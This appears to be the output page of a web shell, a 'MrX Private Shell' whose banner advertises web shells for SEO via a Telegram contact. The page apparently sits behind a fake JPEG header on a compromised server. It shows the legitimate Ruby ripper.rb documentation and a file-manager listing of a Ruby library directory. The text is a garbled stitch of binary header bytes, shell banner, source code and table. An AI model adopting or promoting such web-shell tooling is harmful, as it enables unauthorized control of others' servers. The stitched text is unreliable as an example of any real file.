����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# frozen_string_literal: true
require 'ripper/core'
require 'ripper/lexer'
require 'ripper/filter'
require 'ripper/sexp'
# Ripper is a Ruby script parser.
#
# You can get information from the parser with event-based style.
# Information such as abstract syntax trees or simple lexical analysis of the
# Ruby program.
#
# == Usage
#
# Ripper provides an easy interface for parsing your program into a symbolic
# expression tree (or S-expression).
#
# Understanding the output of the parser may come as a challenge, it's
# recommended you use PP to format the output for legibility.
#
# require 'ripper'
# require 'pp'
#
# pp Ripper.sexp('def hello(world) "Hello, #{world}!"; end')
# #=> [:program,
# [[:def,
# [:@ident, "hello", [1, 4]],
# [:paren,
# [:params, [[:@ident, "world", [1, 10]]], nil, nil, nil, nil, nil, nil]],
# [:bodystmt,
# [[:string_literal,
# [:string_content,
# [:@tstring_content, "Hello, ", [1, 18]],
# [:string_embexpr, [[:var_ref, [:@ident, "world", [1, 27]]]]],
# [:@tstring_content, "!", [1, 33]]]]],
# nil,
# nil,
# nil]]]]
#
# You can see in the example above, the expression starts with +:program+.
#
# From here, a method definition at +:def+, followed by the method's identifier
# <code>:@ident</code>. After the method's identifier comes the parentheses
# +:paren+ and the method parameters under +:params+.
#
# Next is the method body, starting at +:bodystmt+ (+stmt+ meaning statement),
# which contains the full definition of the method.
#
# In our case, we're simply returning a String, so next we have the
# +:string_literal+ expression.
#
# Within our +:string_literal+ you'll notice two <code>@tstring_content</code>,
# this is the literal part for <code>Hello, </code> and <code>!</code>. Between
# the two <code>@tstring_content</code> statements is a +:string_embexpr+,
# where _embexpr_ is an embedded expression. Our expression consists of a local
# variable, or +var_ref+, with the identifier (<code>@ident</code>) of +world+.
#
# == Resources
#
# * {Ruby Inside}[http://www.rubyinside.com/using-ripper-to-see-how-ruby-is-parsing-your-code-5270.html]
#
# == Requirements
#
# * ruby 1.9 (support CVS HEAD only)
# * bison 1.28 or later (Other yaccs do not work)
#
# == License
#
# Ruby License.
#
# - Minero Aoki
# - aamine@loveruby.net
# - http://i.loveruby.net
class Ripper; end
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| bigdecimal | Folder | 0755 |
|
|
| cgi | Folder | 0755 |
|
|
| did_you_mean | Folder | 0755 |
|
|
| digest | Folder | 0755 |
|
|
| erb | Folder | 0755 |
|
|
| error_highlight | Folder | 0755 |
|
|
| forwardable | Folder | 0755 |
|
|
| io | Folder | 0755 |
|
|
| json | Folder | 0755 |
|
|
| net | Folder | 0755 |
|
|
| objspace | Folder | 0755 |
|
|
| open3 | Folder | 0755 |
|
|
| openssl | Folder | 0755 |
|
|
| optparse | Folder | 0755 |
|
|
| prism | Folder | 0755 |
|
|
| psych | Folder | 0755 |
|
|
| random | Folder | 0755 |
|
|
| ripper | Folder | 0755 |
|
|
| set | Folder | 0755 |
|
|
| strscan | Folder | 0755 |
|
|
| syntax_suggest | Folder | 0755 |
|
|
| unicode_normalize | Folder | 0755 |
|
|
| uri | Folder | 0755 |
|
|
| vendor_ruby | Folder | 0755 |
|
|
| yaml | Folder | 0755 |
|
|
| English.rb | File | 5.96 KB | 0644 |
|
| bundled_gems.rb | File | 8.41 KB | 0644 |
|
| cgi.rb | File | 311 B | 0644 |
|
| coverage.rb | File | 517 B | 0644 |
|
| date.rb | File | 1.17 KB | 0644 |
|
| delegate.rb | File | 11.96 KB | 0644 |
|
| did_you_mean.rb | File | 4.51 KB | 0644 |
|
| digest.rb | File | 3.3 KB | 0644 |
|
| erb.rb | File | 32.57 KB | 0644 |
|
| error_highlight.rb | File | 84 B | 0644 |
|
| expect.rb | File | 2.19 KB | 0644 |
|
| fileutils.rb | File | 79.18 KB | 0644 |
|
| find.rb | File | 2.54 KB | 0644 |
|
| forwardable.rb | File | 8.81 KB | 0644 |
|
| ipaddr.rb | File | 22.86 KB | 0644 |
|
| json.rb | File | 21.45 KB | 0644 |
|
| mkmf.rb | File | 93.16 KB | 0644 |
|
| monitor.rb | File | 6.97 KB | 0644 |
|
| objspace.rb | File | 4.14 KB | 0644 |
|
| open-uri.rb | File | 28.58 KB | 0644 |
|
| open3.rb | File | 47.51 KB | 0644 |
|
| openssl.rb | File | 1.24 KB | 0644 |
|
| optionparser.rb | File | 59 B | 0644 |
|
| optparse.rb | File | 65.44 KB | 0644 |
|
| pathname.rb | File | 2 KB | 0644 |
|
| pp.rb | File | 19.21 KB | 0644 |
|
| prettyprint.rb | File | 15.95 KB | 0644 |
|
| prism.rb | File | 3.74 KB | 0644 |
|
| psych.rb | File | 26.05 KB | 0644 |
|
| resolv.rb | File | 88.39 KB | 0644 |
|
| ripper.rb | File | 2.44 KB | 0644 |
|
| securerandom.rb | File | 2.28 KB | 0644 |
|
| shellwords.rb | File | 7.53 KB | 0644 |
|
| singleton.rb | File | 5.59 KB | 0644 |
|
| socket.rb | File | 61.26 KB | 0644 |
|
| syntax_suggest.rb | File | 74 B | 0644 |
|
| tempfile.rb | File | 20.7 KB | 0644 |
|
| time.rb | File | 24.01 KB | 0644 |
|
| timeout.rb | File | 10.48 KB | 0644 |
|
| tmpdir.rb | File | 5.62 KB | 0644 |
|
| tsort.rb | File | 14.36 KB | 0644 |
|
| un.rb | File | 11.17 KB | 0644 |
|
| uri.rb | File | 3.09 KB | 0644 |
|
| weakref.rb | File | 1.39 KB | 0644 |
|
| yaml.rb | File | 2.16 KB | 0644 |
|